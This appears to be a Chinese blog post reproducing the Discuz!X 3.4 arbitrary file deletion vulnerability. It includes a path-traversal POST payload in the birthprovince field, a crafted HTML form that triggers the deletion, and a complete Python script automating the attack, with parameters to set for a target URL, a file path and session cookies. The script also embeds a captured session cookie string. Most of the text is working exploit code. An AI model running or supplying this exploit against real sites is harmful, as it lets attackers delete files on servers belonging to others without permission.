Discuz!X 3.4 任意檔案删除漏洞複現過程(附python腳本)

　　今天看下群裡在讨論Discuz!X 3.4 任意檔案删除漏洞，自己做了一些測試，記錄一下過程。結尾附上自己編寫的python腳本，自動化實作任意檔案删除。

具體漏洞，請檢視 https://paper.seebug.org/411/

0x01 環境搭建

　　到官網下載下傳Discuz 3.4版本，phpstudy 本機搭建，并新增賬號。站點根目錄建立111.txt,作為删除的目标檔案。

Discuz 3.4下載下傳連結：http://www.discuz.net/thread-3825961-1-1.html

0x02 環境搭建

　　1、賬号登入之後，點選設定，跳轉到個人資料頁面,檢視頁面源代碼，擷取formhash值

　　2、送出請求，修改出生地

http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base

[post] birthprovince=../../../111.txt&profilesubmit=1&formhash=9945c60c

　　3、構造表單，請求後檔案删除

<form action="http://127.0.0.1/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" />
<input type="text" name="formhash" value="9945c60c"/></p>
<input type="text" name="profilesubmit" value="1"/></p>
<input type="submit" value="Submit" />
</from>      

0X03 Python腳本

根據前面的步驟，寫了一段Python腳本，代替手工操作，本機測試成功。。。好久沒寫腳本了，代碼有點low，夠用即可。。。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import re
import urllib2

'''
Discuz!X ≤3.4 任意檔案删除漏洞
Write by Aaron
'''

def get_cookie():
    cookies={}
    for line in raw_cookies.split(';'):  
        key,value=line.split('=',1)
        cookies[key]=value 
    return cookies
def get_formhash(url):
    cookies=get_cookie()
    testurl=url+"/home.php?mod=spacecp"  
    s=requests.get(testurl,cookies=cookies)
    com = re.compile('<input type="hidden" name="formhash" value="(.*?)" />')
    result = com.findall(s.text)
    return result[0]
def del_step1(url,filename):
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
    geturl=url+"/home.php?mod=spacecp&ac=profile&op=base"
    formhash=get_formhash(url)
    payload ={'birthprovince':filename,"profilesubmit":1,"formhash":formhash}
    cookies=get_cookie()
    r = requests.post(geturl,data=payload,headers=headers,cookies=cookies)
    if r.content.find('parent.show_success')>0:
        print 'Step1 success!!!'
def del_step2(url):
    geturl=url+"/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"
    heads={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
    formhash=get_formhash(url)
    files ={'formhash':(None,formhash),'birthprovince':('1.jpg',open('1.jpg','rb'),'image/jpeg'),'profilesubmit':(None,'1')}
    cookies=get_cookie()
    r=requests.post(geturl,files=files,headers=heads,cookies=cookies)
    if r.text.find('parent.show_success')>0:
        print 'Step2 success!!!'
        
if __name__ == '__main__':
    #需要修改以下三個參數：
    #1、設定cookie
    raw_cookies="G2pl_2132_sid=sKKQZK; G2pl_2132_saltkey=Sz3Zk9qK; G2pl_2132_lastvisit=1506772875; G2pl_2132_lastact=1506779386%09home.php%09spacecp; G2pl_2132_seccode=7.aa0407e77fa5c31c1b; G2pl_2132__refer=%252Fhome.php%253Fmod%253Dspacecp%2526ac%253Dprofile%2526op%253Dbase; G2pl_2132_ulastactivity=d085JjIjS5HiG3obxleJQuw0zNYpIN60OXJV0J6di%2B8aFmKQ4u6l; G2pl_2132_auth=86c5F09hGuaZuGNPSX7Pr7Oy4Mq2B39nSviv%2FRFC8vdn1Zjb9PibvU2fN4jJr9Hr7yVNf2vH9rIXrSLWhMZk; G2pl_2132_nofavfid=1; G2pl_2132_sendmail=1; G2pl_2132_noticeTitle=1"
    #2、設定删除的檔案
    filename="../../../111.txt"  
    #3、設定url
    url="http://127.0.0.1"
    del_step1(url,filename)    
    del_step2(url)